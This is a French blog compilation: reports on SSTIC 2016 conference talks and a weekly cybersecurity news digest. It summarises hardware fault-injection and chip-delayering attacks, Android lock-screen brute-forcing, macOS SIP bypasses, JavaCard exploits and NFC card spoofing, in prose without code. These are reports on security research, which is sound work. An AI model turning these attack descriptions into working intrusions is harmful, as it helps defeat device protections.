Cette « conférence invitée » a été présentée par Olivier Thomas, CEO de Texplained, qui a expliqué de manière très intéressante les différentes attaques sur les circuits intégrés. Trois classes d’attaques sur les semi-conducteurs peuvent être identifiées :
  Les attaques non invasives consistent par exemple en l’utilisation de « VCC glitchs » (perturbation de l’alimentation) ou de « Clock glitchs » (perturbation du signal d’horloge). L’analyse de la consommation d’un circuit (Simple ou Differential Power Analysis) est également une technique non invasive, qui peut permettre de récupérer une clé privée par exemple.
  Les attaques semi-invasives nécessitent un accès direct au circuit intégré et un équipement plus important (et plus coûteux) et consistent principalement à faire de l’injection de faute à l’aide d’un laser de précision (« laser glitching » ou « laser fault injection »). En utilisant la bonne longueur d’onde (1064nm, infrarouge) le silicium est transparent pour le laser, qui peut directement accéder aux composants, et l’impulsion laser permet par exemple de déclencher un transistor sur commande. L’injection automatisée permet de « scanner » tout un circuit pour détecter les transistors provoquant un changement d’état particulier (par exemple, passage de la puce en mode administration, ou développement). Il est également possible d’utiliser le laser pour scanner la puce dans un premier temps, ce qui permet d’atteindre une plus grande précision dans les tirs. Enfin, il est possible de déterminer l’emplacement de l’horloge en localisant des « points de photoémission » (transition périodique). Ces attaques, lorsqu’elles sont ciblées, permettent par exemple de devenir « super-utilisateur » à coups de laser !
  Enfin, les attaques invasives sont généralement destructrices pour la puce, car elles consistent à retirer successivement les couches du circuit pour obtenir un plan précis de son architecture, en utilisant des produits chimiques (Chemicals only), des produits chimiques et une abrasion mécanique (Chemical Mechanical Polishing), ou encore un plasma qui vient arracher des électrons (Plasma Etcher). Sur certaines puces dites shielded, un maillage entoure toute la puce et déclenche une « autodestruction » logique (effacement de toutes les mémoires) lorsqu’une maille est sectionnée. Il faut alors ruser en passant entre les mailles pour poser des sondes (Microprobing), ou bien appliquer des « pansements » sur les mailles sectionnées pour empêcher la détection.
Différentes techniques d’obfuscation de la puce ont également été présentées, comme l’utilisation de Silicium non dopé (ROM), ou l’utilisation de faux liens. En revanche, ces techniques n’arrêtent pas Olivier Thomas, qui explique qu’il peut extraire une carte complète (22000 portes) en une semaine en utilisant le bon matériel et le bon logiciel. Il cite notammen,t le logiciel ARES, qui effectue de la reconnaissance automatique d’image sur les images des tranches de la puce. Le coût d’une attaque sur ces puces n’est donc pas si élevé qu’on ne l’imagine, surtout en sous-traitant certaines opérations au lieu d’acheter le matériel adéquat, et peut descendre à moins de 30 000€ par exemple. En fonction de la puce, un nombre réduit d’exemplaires est suffisant pour mener complètement l’attaque (50 exemplaires pour une puce en 22nm, 5 pour du 65nm).
En conclusion, ces attaques sur circuits imprimés – qui nécessitent certes de l’expérience, et un peu de matériel et d’argent – sont relativement accessibles, et peuvent être vite rentabilisées une fois que l’analyse a été faite une première fois, ce qui pose la question de la réévaluation de l’échelle des Critères Communs.
App vs Wild
Dans cette conférence, Stéphane Duverger (Airbus) explique comment protéger en confidentialité le code (chiffré et signé à l’origine) d’une application dans un environnement hostile,  ou compromis. En se basant sur Ramooflax, solution de virtualisation légère et libre présentée au SSTIC 2011, l’auteur choisit de virtualiser la mémoire physique pour pouvoir y stocker le code du programme déchiffré. La mémoire virtualisée est cloisonnée entre le système d’exécution complet (« VM RAM Origine » sur le schéma) et le code de l’application (stocké déchiffré, « VM RAM Secret » sur le schéma), tous deux disponibles à tout instant mais de manière exclusive : après vérification de l’intégrité de la RAM « Secret », les pages mémoires correspondantes sont passées en mode eXecute-only (grâce aux fonctions Intel EPT). Le code s’exécutant dans la partie « VM RAM Origine » ne peut donc pas accéder en lecture au code stocké déchiffré dans la « VM RAM Secret ». Le filtrage repose uniquement sur des considérations matérielles et ne dépend pas du système d’exploitation, bien que seuls les binaires ELF32 soient à ce jour supportés. Cette solution est encore en cours de développement mais pourrait permettre d’apporter un niveau de sécurité supplémentaire dans la protection en confidentialité du code d’applications.
Winbagility : débogage furtif et introspection de machine virtuelle
Nicolas Couffin, de la DGA MI (équipe IMPS), a présenté un outil permettant le débogage furtif de systèmes Windows. Dans le cas de l’étude d’un code malveillant, l’analyste a besoin d’éviter que le code ne détecte la modification de la machine virtuelle dans laquelle il est exécuté. Il n’est donc pas possible d’utiliser le débogueur de Microsoft (WinDbg). Dans l’objectif d’obtenir un environnement réaliste, il est nécessaire de conserver Patchguard activé, de ne pas être détecté par le logiciel malveillant, de pouvoir analyser de manière dynamique l’exécution du logiciel. L’auteur a ainsi présenté FDP, pour Fast Debugging Protocol, qui repose sur une modification de VirtualBox pour pouvoir interagir facilement avec le système invité. L’auteur a ensuite présenté un second outil, Winbagility, qui s’appuie sur FDP, et permet de poser des breakpoints hardware (des HardwareBreakpoints, des HyperBreakpoints, et même des HardHyperBreakpoints). Ses propriétés le rendent difficiles à détecter depuis le logiciel analysé, et en font un outil rare dédié à l’introspection furtive sous environnement Windows.
Déverrouillage d'Android en simulant un clavier/souris
Antoine Cervoise nous a ensuite présenté un outil permettant de « bruteforcer » les interfaces de verrouillage de terminaux Android, en simulant des entrées clavier ou souris sur le port On-the-Go (OTG) des téléphones. Pour cela, il a utilisé un Arduino pour simuler les entrées clavier/souris HID, piloté par un Raspberry Pi. Une webcam USB connectée au Raspberry Pi permet de détecter la réussite du déverrouillage du téléphone, en utilisant la librairie ImageMagick.
En utilisant les listes de codes PIN et codes de déverrouillage les plus fréquents, il a donc été possible de trouver le code valide en quelques heures, malgré les délais parfois obligatoires entre des tentatives échouées (à raison donc de 100 mots de passe en 20 minutes).
On peut noter que ces attaques ont permis de mettre en évidence des failles dans des téléphones Samsung, qui plantaient après un certain nombre de tentatives, en laissant l’écran déverrouillé pendant quelques secondes, avant de verrouiller le téléphone de nouveau.
Enfin, une autre technique décrite dans l’article permet d’améliorer les résultats : « la divination peut être utilisée notamment en analysant les traces de doigts sur le téléphone afin de réduire le nombre de codes possibles et de tester manuellement les possibilités restantes ».
The Metabrik Platform: Rapid Development of Reusable Security Tools
Patrice Auffret est l’auteur de The Metabrik Platform, un framework d’outils de sécurité (du pentest au forensic) associé à un shell et un « vrai » (l’auteur a insisté) langage de programmation, Perl. Metabrik utilise des « Briks » comme modules, dans la même veine que Metasploit. Ce projet permet d’automatiser un certain nombre de tâches, par exemple en chaînant des Briks pour atteindre un objectif plus rapidement. Les Briks sont hautement modulaires, et peuvent par exemple hériter d’une ou plusieurs autres Briks, ou être personnalisées et améliorées. En moins de 4 lignes dans Metabrik, il est donc possible de lancer une VM avec Virtualbox, de prendre un snapshot, d’exécuter un programme, puis de produire un fichier de différences sur l’état de la machine Windows. D’autre Briks permettent d’analyser simplement des fichiers et d’en extraire des données (par exemple, des métadonnées dans une image compressée). The Metabrik Platform est disponible et prêt à l’utilisation, avec plus de 200 Briks, sur le site https://www.metabrik.org/.
DYODE : Do Your Own DioDE, une diode open-source à moins de 200€ pour les réseaux industriels
Dans cette présentation, Arnaud Soullié (Solucom) a montré comment fabriquer une diode réseau, c’est-à-dire ne laissant passer les données que dans un seul sens. Cette diode a la particularité de coûter environ 200€ alors que les diodes disponibles dans le commerce ont souvent un prix bien plus élevé (et des performances également supérieures), et elle est donc par exemple adaptée aux systèmes industriels qui ont des besoins en performance relativement faibles. L’ensemble est constitué de deux Raspberry Pi pour les guichets d’entrée et de sorties, de convertisseurs Cuivre-Optique
À ce jour, 3 modes sont disponibles : le transfert de fichiers, le transfert de données Modbus, et le partage d’écran (sans interaction). Le code est disponible sur GitHub.
Nous reviendrons sur ce projet Solucom dans un article dédié.
Résultats et solution du challenge du SSTIC 2016
Comme chaque année, le SSTIC propose un challenge au public, constitué d’une série d’épreuves à résoudre. Parmi les épreuves de cette année, on notera entre autres : la présentation des épreuves au travers d’un RPG en Javascript, l’utilisation d’un secret partagé de Shamir pour reconstituer une clé, la rétro-ingénierie d’un programme TI-Basic (pour calculatrice), l’analyse de traces GSM et SMS depuis un enregistrement de SDR (Software Defined Radio), la rétro-ingénierie d’une archive sparse de 117To, d’un binaire Itanium (ia-64 bits), ou l’analyse d’une police TrueType.
Plusieurs outils open-source ont été améliorés par des participants du challenge. Les vainqueurs au classement rapidité sont Nicolas Iooss, Fabien Périgaud, et Eric Dangereux, au classement qualité : David Berard, Romain Carré, et Fabien Périgaud. Au classement ubiquité (solution pour toutes les épreuves) Fabien Périgaud est le seul classé. Ce dernier, présent dans les trois classements est également venu présenter une partie des solutions du challenge. Quelques chiffres enfin sur cette édition du challenge, qui a été téléchargé 2054 fois, et dont 100 participants ont validé le premier niveau, 45 le niveau 2 et 23 le niveau 3 (avec un seul participant accédant au classement ubiquité).
Rumps !
Un moment attendu au SSTIC est celui des rumps : des orateurs viennent présenter un sujet technique ou non, en 3 minutes montre en main, souvent de manière humoristique. Le public peut choisir d’accorder quelques dizaines de secondes supplémentaires aux orateurs en restant silencieux mais peut également choisir d’applaudir bruyamment pour précipiter la fin de la présentation, appuyée par un lance-missile USB pointé vers l’orateur et automatiquement armé au bout des 3 minutes. Petit florilège des différentes présentations :
  « Pourquoi c’est flou » (Pierre Capillon) a décrit le fonctionnement du système de vidéoprojection et de streaming en direct des conférences sur internet, et démontré l’art des organisateurs pour arranger les câbles réseau et les convertisseurs vidéo ;
  « Évolution de Fuddly depuis le SSTIC 2015 » (Eric Lacombe) a annoncé les améliorations apportées à son framework de fuzzing et de manipulation de données en Python, qui intègre des algorithmes de mutation automatisée, des attaques sur des piles réseau, et d’autres nouveautés intéressantes ;
  « Near Field Beers » par Fabien Périgaud a montré qu’il était trivial d’usurper une carte NFC pour boire gratuitement dans les bars utilisant des tireuses en libre-service, à l’aide d’un Proxmark3 ;
  « RAM & Disk EFI Dumper » par Solal Jacob, a partagé son expérience d’investigation numérique sur un ordinateur portable chiffré, en écrivant un dumper de RAM vers une clé USB, depuis lequel il est possible d’extraire les clés de chiffrement ;
  « Étude d’un disque lolifrant » par Julien Lenoir et Raphaël Rigo, a présenté l’insécurité d’un disque dur externe protégé par un code PIN, après reversing du microprocesseur du disque : à partir d’un ordinateur il est possible de demander le code PIN directement au disque dur, sans l’avoir déverrouillé, ce qui rend inutile cette protection ;
  « De la difficulté des communications sécurisées » par Guillaume Tessier, a décrit le protocole ZRTP (VoIP) et présenté des failles d’implémentation dans Linphone, application répandue de téléphonie sur IP ;
  « R2M2 » par Guillaume Valadon a présenté un outil composé de radare2 et de miasm2 pour faciliter l’analyse de code ;
  Dans « Comment ne plus avoir de pubs ? », Charles Hourtoule a présenté un outil pour augmenter artificiellement et gratuitement son nombre de followers ou de likes sur Twitter ;
  « Fighting malware like a boss » (Pierre Chifflier et Fabien Pichot) a présenté une méthode originale pour contrer les logiciels malveillants : leur faire croire qu’ils sont analysés par des outils classiques comme des antivirus ou des outils d’analyse dynamique ;
  « Amsterdam » par Eric Leblond, a présenté une infrastructure SELKS (ISO live avec Suricata, ElasticSearch, Kibana, Logstash, Scirius pour les jeux de signature) basée sur Docker (avec utilisation de docker-compose) pour monter un IDS facilement ;
  « AJPy » par Julien Legras a présenté une bibliothèque pour attaquer les flux AJP ;
  « Winning crap with Twitter API » a expliqué comment gagner des lots grâce à robot qui participe à des jeux-concours sur Twitter ;
  « IDMEF et IODEF » par Thomas Andrejak, a présenté les formats de remontée d’incidents de sécurité IDMEF et IODEF, ainsi que des librairies développées pour faciliter l’utilisation de ces formats ;
  « Vos empreintes sont-elles sûres ? » par Lucas Barthelemy et Léo Rannou à propos de l’usurpation des systèmes de reconnaissance digitale ;
   « libECC » par la team du projet Eurisko de l’ANSSI, a décrit la librairie développée « maison » avec des objectifs de compatibilité, de sécurité et d’agilité cryptologique ;
  « Manalyze » par Ivan Kwiatowski, est un analyseur statique pour exécutables PE ;
  « Analyse d’un Exploit Kit Angler » par Kevin Denis, a présenté une analyse d’un code Javascript obfusqué avec plusieurs niveaux d’encapsulation, qui affiche en réalité… une iframe ;
  « Just do it the hard way » (Mathieu Renard) a présenté avec un humour particulier les attaques hardware ;
  « You are not alone » de Aska, a présenté une série de citations des interlocuteurs des équipes sécurité côté « défense », particulièrement humoristique (« Mais vous ne voulez quand même pas qu’on suive toutes les CVE qui s’appliquent à notre produit ? ») ;
  « IVRE more » (Florent Monjalet) a présenté un outil de veille sur les réseaux extérieurs, auquel des modules de cartographie active et passive a été ajouté, dont les résultats sont représentés de manière visuelle ;
  Dans « Univershell et Attaque contre Android Face Unlock », Antoine Cervoise a présenté rapidement l’association Univershell (workshops sécurité) ainsi que la déclinaison de son attaque sur les motifs de déverrouillage de téléphone ;
  « Die hard » de Philippe Trébuchet, a présenté une attaque au niveau physique sur un dispositif « de désamorçage » en utilisant entre autres un BusPirate ;
  « Dynamically detecting smart XSS with evolutionary fuzzing methods and machine learning involving cyber algorithms - Quelques échecs de GreHack » a finalement présenté après une parenthèse humoristique un retour d’expérience sur l’organisation de la conférence GreHack.
Après cette journée très riche, les participants ont pu se retrouver lors du Social Event organisé dans le centre-ville de Rennes.
Mickaël BERGEM

CERT-Solucom : retour sur l'actualité de la semaine du 4 juillet

$
0
0

Comme chaque semaine, retrouvez notre revue d'actualité de la sphère cyber-sécurité. Cette compilation de brèves vous permettra d'alimenter les discussions des prochaines pauses cafés !

[Brève] Une faille dans un processeur utilisé dans 60% des téléphones Android permet de cracker le chiffrement d’un téléphone
Une faille dans les processeurs de la marque Qualcomm pourrait permettre à un attaquant ayant un accès physique a un téléphone d’en déchiffrer entièrement la mémoire.
Sources :
https://threatpost.com/encryption-bypass-vulnerability-impacts-half-of-android-devices/119039/ Pour le détail : https://bits-please.blogspot.fr/2016/06/extracting-qualcomms-keymaster-keys.html

[Brève] Pourquoi votre “Smart Watch” peut révéler votre code de carte bancaire
Un chercheur démontre qu’il est possible de récupérer les codes pin saisis lors d’un paiement grâce aux gyroscopes et accéléromètres inclus dans les objets connectés.
Source :
http://spectrum.ieee.org/tech-talk/consumer-electronics/gadgets/your-smart-watch-can-spy-on-your-pin

[Brève] “LevelDropper” un malware qui root votre téléphone disponible sur le Google Play Store
Source :
https://blog.lookout.com/blog/2016/06/27/leveldropper/

[Brève] Un nouveau ransomware, 100% en JavaScript
Répondant au nom de RAA, ce ransomware ne télécharge pas de fichier mais réalise l’intégralité du chiffrement de vos fichiers en JavaScript.
Source :
https://nakedsecurity.sophos.com/2016/06/20/ransomware-thats-100-pure-javascript-no-download-required/

[Brève] Fuite d’une base de données de 2.2 millions de potentiels terroristes
Source :
https://nakedsecurity.sophos.com/2016/07/01/database-of-2-2m-suspected-terrorists-money-launderers-leaked-online/

[Brève] Des caméras de surveillance forment désormais des botnets
Les équipes sécurité de Sucuri ont découvert un botnet de 25 000 caméras de surveillance utilisé pour réaliser des attaques par DDoS.
Source :
https://blog.sucuri.net/2016/06/large-cctv-botnet-leveraged-ddos-attacks.html

[Brève] Le constructeur TP-LINK perd le contrôle de deux noms de domaines utilisés par ses routeurs
Source :
https://www.helpnetsecurity.com/2016/07/05/tp-link-config-domains/

[Brève] Les produits Symantec toujours vulnérables aux attaques découvertes par les chercheurs de Google
Ces vulnérabilités présentes dans la configuration par défaut ne nécessitent aucune interaction utilisateur et peuvent être déclenchées par la simple réception d’un mail.
Source :
http://www.theinquirer.net/inquirer/news/2464131/symantec-admits-it-wont-patch-catastrophic-security-flaws-until-mid-july

[Brève] Comment Google et Facebook pourraient bloquer les images extrémistes
Grâce à une nouvelle technologie de hashage, les géants du web pourraient obtenir la liste des hashs correspondant à des images extrémistes afin de les supprimer sans nécessiter d’action humaine.
Source :
https://nakedsecurity.sophos.com/2016/06/28/are-google-and-facebook-to-block-extremist-content-with-automatic-hashing/

[Brève] Aux US la douane veut les noms de vos comptes de réseaux sociaux
Ce nouveau champ qui apparaîtrait dans les formulaires d’entrée aux US serait optionnel et permettrait aux autorités de contacter plus facilement les voyageurs.
Source :
https://nakedsecurity.sophos.com/2016/06/29/us-customs-wants-your-social-media-account-details-when-travelling/

Xavier GERONDEAU

Compte-rendu du SSTIC 2016 - Jour 3

$
0
0

Et pour clore notre compte-rendu de l'édition 2016 du SSTIC, retour ci-dessous sur la 3ème et dernière journée ! Bonne lecture !
MacOS : System Integrity Protection
System Integrity Protection, abrégé SIP, est un mécanisme de sécurité spécifique à Mac OS X qui bloque l’accès en écriture – même pour l’utilisateur root – à des dossiers (/System, /bin, /sbin…), des liens symboliques (/etc, /tmp, /var), des processus système signés par Apple (accès à la mémoire du processus, débogage, analyse DTrace…), et restreint le chargement d’extensions noyau non signées. Dans cette présentation, Nicolas Ruff présente les différentes manières de contourner SIP. Jusqu’à OS X 10.10, il est possible de désactiver SIP via un argument de démarrage, ou d’exploiter le fait que la vérification de la signature est effectuée en espace utilisateur : recompiler la commande « kextload » depuis les sources publiques permet par exemple de faire accepter des signatures invalides. D’autre part, il existe une liste blanche d’extensions noyau acceptées sans signature, identifiées par leur condensat SHA1, qui est mise à jour silencieusement par Apple – sans pour autant être manipulable par un attaquant. Enfin, certaines applications légitimes (qui possèdent les bonnes autorisations) comme fsck_cs peuvent être détournées pour passer outre SIP, ce cas particulier ayant été corrigé dans OS X 10.11.5.
Nicolas a conclu en soulignant que si SIP essaye de transformer le modèle de permissions assignées à des utilisateurs vers un modèle de permissions assignées à des applications, ce modèle est complexe à implémenter et qu’il faut s’attendre à la découverte de nouveaux bugs permettant de contourner ses restrictions.
Java Card Session
Cette partie est constituée de deux présentations sur la sécurité des JavaCards, par Jean Dubreuil (Serma Safety and Security) sur une attaque au niveau logiciel puis une attaque combinée, et par Guillaume Bouffard et Julien Lancia (THALES Communications and Security) sur du fuzzing évolutionnaire qui a permis de trouver un buffer overflow et d’exécuter du code arbitraire sur une JavaCard.
Après un rappel sur l’omniprésence des Secure Elements, l’architecture des Java Cards a été détaillée : avant d’être installés sur la Java Card, les applets doivent être validés par le Byte Code Verifier (BCV) pour éviter notamment l’exécution de code malveillant ou d’instructions illégales (accès à des zones mémoire d’une autre application par exemple).
Jean Dubreuil a donc présenté une attaque logicielle exploitant un buffer overflow dans la JVM, qui permet le contournement du pare-feu entre les applications de la JavaCard et donc une élévation de privilèges. Sa deuxième attaque est une attaque combinée, utilisant une applet composée d’une partie « légale » et d’une partie « malveillante » jamais exécutée (l’applet est donc considérée comme « légale » par le BCV et acceptée sur la carte), et de l’injection de faute pour perturber l’exécution du programme. En concevant l’applet de manière astucieuse, il est possible de modifier l’adresse de retour grâce à l’injection de faute, permettant d’accéder et d’exécuter la partie « illégale » du programme. Cette deuxième attaque permet également de contourner le pare-feu et d’exécuter du code arbitraire.
La deuxième présentation s’est quant à elle focalisée sur une vulnérabilité dans le BCV et sur la méthode qui a permis de la découvrir. En utilisant un algorithme évolutionnaire pour muter le fichier CAP (Converted APplet, qui contient l’application), une faille dans le BCV a été découverte – et ce dès la seconde génération. Une vérification manquante dans une implémentation du BCV permet donc d’obtenir un accès complet en lecture et écriture sur la mémoire de la carte.
Noyaux Linux durcis
Yves-Alexis PEREZ a présenté le patch de durcissement Linux grsecurity, en expliquant en quoi il permettait d’obtenir une sécurité accrue pour le noyau et le système. Grsec est composé de PaX (contre les corruptions mémoire), de RBAC (contrôle d’accès basé sur des rôles) et d’autres éléments de durcissement, et il protège contre certaines vulnérabilités (use-after-free par exemple). En revanche, il reste peu déployé, notamment car il n’est pas inclus dans le noyau mainline, qu’il provoque des problèmes de compatibilité et de support et également une légère baisse des performances. Pour résoudre ce problème de difficulté d’installation et de maintenance, l’auteur a donc publié des outils permettant de recompiler facilement le noyau, et propose des adaptations pour un usage desktop (la configuration par défaut empêche par exemple d’utiliser le navigateur chromium).
Design de cryptographie white-box : et à la fin, c’est Kerckhoffs qui gagne
Charles Hubain et Philipe Teuwen, de Quarkslab, ont présenté les attaques de type « crypto white-box » où l’attaquant a un accès total sur le matériel et peut donc utiliser toutes les possibilités physiques et logiques pour en extraire les données sensibles. C’est par exemple le cas rencontré avec les DRM, ou le paiement mobile.
Les attaques académiques sur les modèles existants ont conduit à de nouveaux modèles, à leur tour cassés par des attaques académiques, ce qui a poussé les industries à garder leurs designs secrets en utilisant des techniques d’obfuscation pour augmenter le coût des attaques. Ces attaques peuvent néanmoins être remplacées par des techniquescomme l’identification visuelle de l’algorithme cryptographique : en enregistrant toutes les instructions et les accès mémoire, que ce soit sur le code, la pile ou les données, et en les représentant en fonction du temps, l’algorithme peut être facilement et rapidement reconnu. Sur l’image ci-dessous, on peut par exemple reconnaître DES grâce à ses 16 rounds successifs.

Trace d’exécution logicielle d’une implémentation « white-box » de DES
Après avoir identifié l’algorithme, il est possible de récupérer la clé en utilisant une technique de Differential Power Analysis ! Cette technique est performante, mais d’autres techniques comme la Differential Fault Analysis permettent d’atteindre des résultats similaires voire encore meilleurs.
Les auteurs ont également publié 5 outils dédiés aux attaques side-channel sur le Github SideChannelMarvels : Tracer, Deadpool (automatisation d’attaques), Daredevil (Computation Power Analysis), JeanGrey (Differential Fault Analysis) et enfin Orka qui propose des images Docker de ces outils pour une utilisation simplifiée.
Windows Error Reporting
Aurélien Bordes a présenté le système de traitement des rapports d’erreur de Windows (WER – Windows Error Reporting), qui sont générés en cas d’exception, de freeze d’une application ou d’un crash système. Les rapports sont utilisés pour corriger les bugs des applications Windows, mais des éditeurs de logiciels reconnus peuvent également demander à recevoir les rapports relatifs à leurs propres produits. Ces rapports contiennent des métadonnées qui peuvent parfois contenir des informations sensibles, ce qui pousse certaines entreprises à utiliser un collecteur WER en interne. Un tel collecteur permet d’éviter la fuite de données, mais peut également être utilisé en cas d’investigation numérique (un crash peut indiquer l’exploitation d’une vulnérabilité).
En revanche, ces rapports sont parfois transmis en clair, en HTTP. Or, un serveur a la capacité de demander des informations supplémentaires au client qui rapporte le crash, ce qui implique la lecture de fichiers arbitraires et même l’exécution de commandes côté client. Les commandes étant exécutées dans le contexte de l’utilisateur possesseur du programme (administrateur en cas d’un crash noyau), un collecteur compromis pourrait prendre le contrôle des postes concernés par un crash ! La sécurisation du collecteur est donc cruciale : s’il est désigné collecteur d’un datacenter, il est au moins aussi sensible que l’élément le plus sensible du datacenter.
Aurélien a également publié une implémentation d’un collecteur en PHP, disponible sur son Github.
Bypassing DMA remapping with DMA
Benoît Morgan (LAAS-CNRS) a présenté une « attaque d’IOMMU » exploitant une vulnérabilité au sein du firmware et du driver d’IOMMU Intel pour Linux. La fonction Direct Memory Access (DMA) permet à des périphériques d’accéder à la mémoire principale indépendamment du CPU. Pour contrôler la légitimité des accès mémoire, les Input Output Memory Management Unit (IOMMU) effectuent une virtualisation de l’espace d’adressage grâce à une traduction d’adresse.
L’attaque présentée permet de prendre le contrôle complet de la mémoire, tout en préservant l’intégrité du code système. Ces IOMMU ne sont pas utilisées systématiquement par les OS pour effectuer du cloisonnement : désactivées par défaut sous Linux, non utilisées sous Windows… Un périphérique malveillant connecté sur le bus PCI peut donc prendre le contrôle complet du système.
Scapy en 15 minutes
Guillaume Valadon (ANSSI) a présenté les bases de Scapy, l’outil de manipulation de paquets réseau codé en Python et utilisable en ligne de console. Parmi les astuces également présentées, on pourra remarquer : .ls() permet de lister les propriétés d’un objet, .summary()pour afficher un résumé du paquet, ou .command() qui donne la commande à taper pour reproduire le même paquet. Plusieurs fonctions de visualisation ont également été présentées : .show()affiche le paquet couche par couche dans la console tandis que .ps_dump() l’affiche avec la position des champs, comme sur l’exemple ci-dessous.

D’autres fonctionnalités sont également utiles : répondeurs, automates (clients TCP, TFTP) équipés d’une fonction graph() pour en visualiser l’état, support du format X.509, et même signature de certificat pour faire de la génération de certificats à la volée.
Plaso & Timesketch
Romain Gayon, de l’équipe Réponse à Incidents de Google, a présenté Plaso et Timesketch, des outils d’assistance à l’investigation numérique (Digital Forensics).
Plaso est un ensemble d’outils écrits en Python, utilisés pour analyser tout ce qui contient des timestamps et générer des évènements normalisés (log2timeline.py), et pour trier et filtrer ces évènements (psort.py). Il est ensuite simple d’écrire son propre script d’analyse pour effectuer des investigations plus poussées. Plaso supporte un grand nombre de formats en entrée : images de disque (EWF, QCOW, Raw, VDI, VHD, VMDK), de volumes système (GPT, MBR, BitLocker...), de systèmes de fichiers, et gère également le déchiffrement, la catégorisation et l’annotation automatique, et même l’envoi de fichiers vers VirusTotal ou Viper.
Timesketch est utilisé pour gérer le workflow de la réponse à incident, de manière collaborative et centralisée. En l’alimentant avec Plaso, un analyste peut alors investiguer sur une timeline consolidée à partir de nombreuses sources, en ajoutant des commentaires, en visionnant le résultat de scripts d’analyse automatique, et en ajoutant des annotations pour faciliter la lecture.
Graphes de dépendances : Petit Poucet style
Dans cette présentation très rythmée de travaux de recherche du CEA, la problématique d’analyse automatisée de logiciels malveillants a été abordée sous la problématique : « comment retrouver la valeur d’une variable à un instant donné, en connaissant le code du logiciel ? ». Il faut alors remonter le flux d’exécution pour trouver qui participe à la valeur finale de la variable.
Pour répondre à cette question, la méthode manuelle sous IDA est inadaptée (lent et facile de faire des erreurs), et les outils automatisés comme Angr.io et Metasm soit fournissent un sur-ensemble de solutions, soit nécessitent une heuristique (lourd et peut oublier des solutions) pour gérer les boucles, soit ne récupèrent pas toutes les solutions. Les auteurs ont donc créé un nouvel algorithme capable de distinguer les chemins d’exécution pour n’étudier les boucles que le nombre de fois où c’est nécessaire, en évitant les chemins « équivalents en dépendance ».
Conférence de clôture
Pour cette dernière conférence, Khartikeyan Bhargavan a présenté sa vision sur la sécurité de TLS au travers des attaques découvertes au cours des dernières années. La question principale est la suivante : comment prouver que le protocole remplit bien ses objectifs de confidentialité et d’intégrité des données échangées ?
L’agilité cryptographique, qui permet de faire évoluer les « protocoles cryptographiques » de manière souple, est nécessaire pour conserver la sécurité sur le long terme. On citera par exemple la transition de SSLv3 vers TLS, de DH-768 vers Curve25519, ou de MD5 vers SHA-256. Cette agilité repose sur la capacité des parties prenantes à négocier le meilleur jeu de protocoles en fonction de leurs capacités respectives, mais les failles au niveau du protocole ou des implémentations les exposent aux « downgrade attacks » où un attaquant force l’utilisation d’un protocole obsolète pour espionner la communication ou altérer les données échangées. D’autres attaques sur SSL et TLS, au niveau protocolaire ou implémentation, existent également : SKIP et FREAK par exemple correspondent à une mauvaise implémentation de l’automate d’état de TLS, attaques qu’il est possible de trouver en fuzzant ces automates d’état.
Pour résoudre ces problèmes, il est possible de prouver les propriétés de sécurité d’un programme grâce à la vérification formelle. L’INRIA et Microsoft Research ont développé miTLS, une implémentation de TLS formellement vérifiée et développée en F#. Si miTLS est prouvée conforme au protocole, elle est en revanche toujours sujette aux failles protocolaires comme SLOTH ou Logjam (attaques par collision de transcript), d’ailleurs découvertes par l’équipe de Karthik.
Enfin, des failles cryptographiques peuvent rester cachées pendant de longues années : il est important de trouver et de se débarrasser de ces failles d’implémentation. Ici, Karthik rejoint Brad Spengler (conférence d’ouverture) : la sécurité ne s’atteint pas en corrigeant sans cesse des bugs, mais en intégrant la sécurité dès la conception, notamment en prouvant formellement les propriétés de sécurité aussi bien des protocoles cryptographiques que des implémentations. La première chose nécessaire pour atteindre ce but est simple : que les chercheurs en cryptographie et les concepteurs de protocole travaillent ensemble. TLS 1.3, encore en cours de conception, est une tentative d’appliquer ce modèle.

En conclusion, cette édition 2016 du SSTIC n’a pas déçu par la qualité et la variété des interventions. Nous ne pouvons qu’espérer une plus grande capacité l’an prochain ;)

Mickaël BERGEM
Viewing all 125 articles
Browse latest View live